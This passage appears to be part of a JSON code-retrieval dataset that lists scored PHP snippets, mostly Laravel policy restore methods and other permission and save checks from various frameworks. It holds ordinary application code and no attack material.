"88a7a4392a2a90dda74c5ef7dd30fcaf", "score": "0.5656364", "text": "public function isRestoring()\n {\n return $this->status == 'restoring';\n }", "title": "" }, { "docid": "6b7509d18ecd6f2aea4f6e23d5d334cd", "score": "0.56543165", "text": "public function restore(User $user, Interest $Interest)\n {\n return true;\n //\n }", "title": "" }, { "docid": "c84b4fa3cef86c97ed226f43d75cb81d", "score": "0.56495273", "text": "public function restore(User $user, Task $task)\n {\n return $user->isAdmin();\n }", "title": "" }, { "docid": "355af6830e704cd448f5676e3f833490", "score": "0.56371456", "text": "public function restore(User $user, StudySubject $subject)\n {\n return false;\n }", "title": "" }, { "docid": "8000deb2c54408ae56044d3c3ec1136a", "score": "0.5635722", "text": "public function restore(User $user, Position $position)\n {\n return $user->hasPermission('restore-myhistory-position');\n }", "title": "" }, { "docid": "c8d2c0264244489a4f8fe175e3a47e6e", "score": "0.5630507", "text": "public function beforeSave()\n\t{\n\t\tif (!$this->checkPermissions()) {\n\t\t\treturn $this->modx->lexicon('access_denied');\n\t\t}\n\t\t\n\t\treturn true;\n\t}", "title": "" }, { "docid": "415efed154193d6c0db5c78dade7ee12", "score": "0.5627691", "text": "public function restore(User $user, Node $node)\n {\n return (\n (RoleChecker::check($user, 'ROLE_ACCOUNT_MANAGER') && $node->facility->company->users->pluck('id')->contains($user->id))\n || RoleChecker::check($user, 'ROLE_MANAGEMENT'))\n ? Response::allow()\n : Response::deny('You are not allowed to restore nodes.');\n }", "title": "" }, { "docid": "6195a903c5f06d6cc88278d6d9e6e428", "score": "0.56244874", "text": "public function checkIsSaved()\n {\n return $this->getID() > 0;\n }", "title": "" }, { "docid": "124c5e98c9342c5dd0103efc126ea9e2", "score": "0.55426127", "text": "public function canPreview()\n {\n $blCan = null;\n if (($sPrevId = oxRegistry::getConfig()->getRequestParameter('preview')) &&\n ($sAdminSid = oxRegistry::get(\"oxUtilsServer\")->getOxCookie('admin_sid'))\n ) {\n\n $sTable = getViewName('oxuser');\n $oDb = oxDb::getDb();\n $sQ = \"select 1 from $sTable where MD5( CONCAT( \" . $oDb->quote($sAdminSid) . \", {$sTable}.oxid, {$sTable}.oxpassword, {$sTable}.oxrights ) ) = \" . oxDb::getDb()->quote($sPrevId);\n $blCan = (bool) $oDb->getOne($sQ);\n }\n\n return $blCan;\n }", "title": "" }, { "docid": "375bfa1b8967360c61b76997ec11f6c5", "score": "0.55412114", "text": "public function isSaveModelScaffolding();", "title": "" }, { "docid": "b591028a61b8771e5eb983d13ac4d238", "score": "0.55327183", "text": "public function restore(User $user, Basket $basket)\n {\n return $this->isOwner($user, $basket);\n }", "title": "" }, { "docid": "94c4f295cdbdc9d3b2e727f084c09c86", "score": "0.552285", "text": "public function restoring_event(){\n return true;\n }", "title": "" }, { "docid": "6d5004df999ec5cd5e3f93cbcc2d1cfe", "score": "0.551456", "text": "public function restore(User $user, Announcement $announcement)\n {\n return $user->hasPermission('restore-myaccount-announcement');\n }", "title": "" }, { "docid": "953a5fd0dd91d0a05c42cdaa505c7475", "score": "0.549449", "text": "public static function restoreRecord($id)\n {\n if (!empty($id)) {\n $material = Material::withTrashed()->find($id);\n if ($material->restore()) {\n return true;\n } else {\n return false;\n }\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "a1e2b655c9368d45814a1057c54fb6c0", "score": "0.5486007", "text": "public function restore(User $user, Order $order)\n {\n return $user->hasRole('superAdmin') ||\n (int)$user->id === (int)$order->user_id;\n }", "title": "" }, { "docid": "b84286505662fa8b676c1e436f2d52ab", "score": "0.54569215", "text": "public function restore(User $user, EmployeeClientProject $employeeClientProject)\n {\n return $this->isAllowed($user, 'employee_client_project', 'can_edit');\n }", "title": "" }, { "docid": "cb2891b7393851e7c6ecc6a7866defe5", "score": "0.5452627", "text": "public function getAllowEdit()\n\t{\n\t\t$role = Mage::registry('role');\n\t\tif ($role=='view') return false;\n\t\treturn true;\n\t}", "title": "" }, { "docid": "4dfd58ae19604a8ae0882e5af4fb31f9", "score": "0.5427561", "text": "public function isSaveAllowed()\n {\n return $this->isAllowedAction('save');\n }", "title": "" }, { "docid": "c33fa3f17393c8ea718e7ec9f466aadb", "score": "0.5390516", "text": "public function restore(User $user, ClientProjectStatus $clientProjectStatus)\n {\n return $this->isAllowed($user, 'client_project_status', 'can_edit');\n }", "title": "" }, { "docid": "f8735bde837bf5f4c2106dc44d0690bb", "score": "0.53703034", "text": "private function restoreFromDisk() {\n\t\t$success = false;\n\n\t\t// read sequence and token from disk\n\t\t$tempfile = $this->getTempfile();\n\t\tif (is_readable($tempfile)) {\n\t\t\t// read tempfile\n\t\t\t$data = unserialize(file_get_contents($tempfile));\n\n\t\t\tif ($data['token'] && $data['sequence']) {\n\t\t\t\t// store data internally\n\t\t\t\t$this->token\t= $data['token'];\n\t\t\t\t$this->sequence\t= $data['sequence'];\n\t\t\t\t$success \t= true;\n\t\t\t}\n\t\t}\n\n\t\treturn $success;\n\t}", "title": "" }, { "docid": "17ad9debc84ac9d7a1f2d8a19063c296", "score": "0.5350869", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Packt_Table::save');\n }", "title": "" }, { "docid": "bb2a53bb8ae8f50cae09bba430bada7f", "score": "0.5348334", "text": "public function restore(User $user, Post $post): bool\n {\n return $post->user_id === $user->id;\n }", "title": "" }, { "docid": "8550d3c28cb2a8a7dd581d13c4eeeb36", "score": "0.5340131", "text": "public function canSaveCard() {\n if ($this->config->useVault() && $this->customerSession->isLoggedIn()) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "69b266dad718f92efb12bea34c9323a7", "score": "0.5324372", "text": "public function isRetrograde()\n {\n return $this->isReverse;\n }", "title": "" }, { "docid": "bf15ec3e36c3bd15459884762daddcdd", "score": "0.5309322", "text": "public function ableTransference()\n {\n return $this->user_type_id === Config::get('constants.common_user.id');;\n }", "title": "" }, { "docid": "d2ce87a3dd1efee6cdd56939c4cf2e83", "score": "0.528864", "text": "public function authorize()\n {\n return isset(Auth::user()->store);\n }", "title": "" }, { "docid": "9deea80fa33f834d29c4b0bf2b6ac93e", "score": "0.5287827", "text": "public function restore(User $user, EmployeeLeaveCredit $employeeLeaveCredit)\n {\n return $this->isAllowed($user, 'employee_leave_credits', 'can_edit');\n }", "title": "" }, { "docid": "44fbbd308522971bf07721eb28d16bf2", "score": "0.5282211", "text": "private function should_load() {\n\t\tif ( ! current_user_can( 'manage_options' ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "b9258a566479db44d286504fc3c36356", "score": "0.5269846", "text": "private function beforeRevive(): bool\n {\n $event = new ArchiveEvent();\n $this->trigger(self::EVENT_BEFORE_REVIVING, $event);\n\n return $event->canRevive;\n }", "title": "" }, { "docid": "9c1baaea861d9dba70a0739dba04c0e8", "score": "0.5268117", "text": "public function authorize()\n {\n if($this->path() == 'newres' || 'editres')\n {//新規作成と変更時のとき\n return true;\n }\n else\n {\n return false;\n }\n }", "title": "" }, { "docid": "051622ab35bb752c19fca2d711a13afe", "score": "0.5256731", "text": "public function restore(Model $model);", "title": "" }, { "docid": "1b26a6bc8603c451e2d4a3d760528fad", "score": "0.5247963", "text": "public function restore(User $user, Group $group)\n {\n return $user->hasPermission(Permission::GROUP_DELETE);\n }", "title": "" }, { "docid": "1483e6b60b5dc2ce7da5c6774352899c", "score": "0.52432805", "text": "public function isReo()\n {\n return Auth::user()->role == 'reo';\n }", "title": "" }, { "docid": "1260f463c04d96dd2cbdc13953bcb770", "score": "0.52377564", "text": "public static function restore(): bool\n {\n return \\restore_error_handler();\n }", "title": "" }, { "docid": "06dc6d490dd4693c7e713d1ebf720d29", "score": "0.5233013", "text": "public function isRemovable(){\n return $this->removable && Option::get('roles.default-role') != $this->id;\n }", "title": "" }, { "docid": "bf9b044bd66fff513e3b7550f8cd4481", "score": "0.523273", "text": "public function restored_event(){\n return true;\n }", "title": "" }, { "docid": "699eeca952e55e5d81feb15d3730259a", "score": "0.5196705", "text": "public function isAltered()\n\t{\n\t\treturn $this->model->isAltered();\n\t}", "title": "" }, { "docid": "2d1cfe6bc02dc8ea2d8738863ec4af0d", "score": "0.51909655", "text": "public function restore(User $user, Comment $comment)\n {\n //\n return $comment->user_id === auth()->id();\n }", "title": "" }, { "docid": "776e2c84ad066280e023f9e085b95d10", "score": "0.519016", "text": "public function autoSaveIsAllowed()\n {\n if ($this->environment == 'local' && $this->config->get('db.autosave', true)) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "2c0c2e1e18152b2fce625b66bd51e70a", "score": "0.5188803", "text": "public function restore(User $user, Model $model)\n {\n //\n }", "title": "" }, { "docid": "2bab0a5d919cfff72a6012635ccc5516", "score": "0.51881397", "text": "protected function userWantsRemoteDump(): bool\n {\n return match ($this->choice(\n 'Do you want to download and import a fresh dump from the server or an existing local dump?',\n [\n 1 => static::DOWNLOAD_REMOTE_DUMP,\n 2 => static::IMPORT_EXISTING_LOCAL_DUMP,\n ],\n 1\n )) {\n static::DOWNLOAD_REMOTE_DUMP => true,\n default => false,\n };\n }", "title": "" }, { "docid": "83a5e97b0eb9a811993b6c8a96a95550", "score": "0.5187954", "text": "public function processRestore() {\r\n if (!isset($this->session->us_username)) {\r\n $redirect = \"index.php/app/\";\r\n redirect($redirect);\r\n }\r\n\r\n $type = $this->input->post(\"restore_type\");\r\n\r\n $res_id = $this->app_model->restoreTrashItem();\r\n if ($res_id) {\r\n $redirect = \"index.php/app/showTrash/\" . $type;\r\n redirect($redirect);\r\n }\r\n }", "title": "" }, { "docid": "b04a9d468352ea8c2e370269da9213f6", "score": "0.5179849", "text": "public function authorize()\n {\n return $this->user()->can('viewAny', $this->model_classname);\n }", "title": "" }, { "docid": "2733fd7d1c3e564959520c27e2df7a6e", "score": "0.51768374", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('sales/order/actions/edit');\n }", "title": "" }, { "docid": "633639896e116883a6fc870c422468dd", "score": "0.5168059", "text": "public function canUserPerformAction(): bool\n {\n // if empty getCurrentAction() -> return false -> return Forbidden\n if ($this->getCurrentAction()->isNotEmpty()) {\n if (!$this->checkIsOwner()) {\n return true;\n }\n\n /** @var BaseModel $model */\n $model = $this->request->route()->getController()->getBaseModel();\n $ownerKey = $model->getOwnerKey();\n\n // checking to ownership (auth()->id() === $model->$ownerKey) where $ownerKey === user_id as default\n // if isset $model (set in BaseCrudController like $this->modelClassController::find($entityId))\n // where $entityId is first parameter from request()->route()->parameters() (only to show, update and destroy)\n // else get empty model and $model->exists === false -> return true -> get nessesary data\n return $model->exists ? auth()->id() === $model->$ownerKey : true;\n }\n return false;\n }", "title": "" }, { "docid": "0de0fd9e769029e0fc69bb666f4dad47", "score": "0.5155305", "text": "public function action_restore()\n\t{\n\t\t$login = Request::current()->param('login', null);\n\t\t$password = Request::current()->param('password', null);\n\t\tif (empty($login) || empty($password))\n\t\t{\n\t\t\tRequest::current()->redirect('admin/login');\t\n\t\t}\n\t\t\n\t\tif (Model_User::restorePassword($password, $login))\n\t\t{\n\t\t\tMessenger::add(__('messagePasswordChanged'), Messenger::TYPE_INFO);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tMessenger::add(__('messagePasswordChangeFail'), Messenger::TYPE_ERROR);\n\t\t}\n\t\tRequest::current()->redirect('admin/login');\n\t}", "title": "" }, { "docid": "8eca281ae998f72f55ba36b30bfdcd9e", "score": "0.5150051", "text": "public function restore(Request $request)\n {\n // check permission\n $permission = $this->checkPermission();\n if ($permission !== true) {\n return $permission;\n }\n\n $id = $request->input('id');\n if (isset($id)) {\n $this->repository->restore($id);\n $flash = ['success', 'Data berhasil dipulihkan'];\n } else {\n $flash = ['danger', 'Pilih data yang akan dipulihkan'];\n }\n return redirect($this->route)->with('message', $flash);\n }", "title": "" }, { "docid": "7ffb181155b329062eb847b1de564858", "score": "0.5136179", "text": "public function is_valid_save() {\n\t\t$params = func_get_args();\n\t\t$post_id = $params[0];\n\t\t$post_type = get_post_type( $post_id );\n\n\t\t$wp_preview = ( ! empty( $_POST['wp-preview'] ) ) ? $_POST['wp-preview'] : '';\n\t\t$in_preview = $wp_preview === 'dopreview';\n\t\t$doing_autosave = defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE;\n\t\t$is_revision = $post_type === 'revision';\n\n\t\tif ( ( $doing_autosave || $is_revision ) && ( ! $in_preview || $this->revisions_disabled ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( ! $this->verified_nonce_in_request() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $this->is_valid_attach_for_object( $post_id );\n\t}", "title": "" }, { "docid": "d2f95f68aab6d9b6026e52ef9f1d8cb7", "score": "0.51307803", "text": "public function wizardIsForRelationOnly():bool\n {\n return false;\n }", "title": "" }, { "docid": "98b6010206466be52d611eb561cf74a5", "score": "0.51195705", "text": "public function is_valid_save() {\n\t\tif ( ! $this->is_profile_page() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( ! $this->verified_nonce_in_request() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$params = func_get_args();\n\t\treturn $this->is_valid_attach_for_object( $params[0] );\n\t}", "title": "" }, { "docid": "6500b5494abebeecf5fe2893b8117d4b", "score": "0.5118982", "text": "public function wizardIsForRelationOnly():bool\n {\n return true;\n }", "title": "" } ]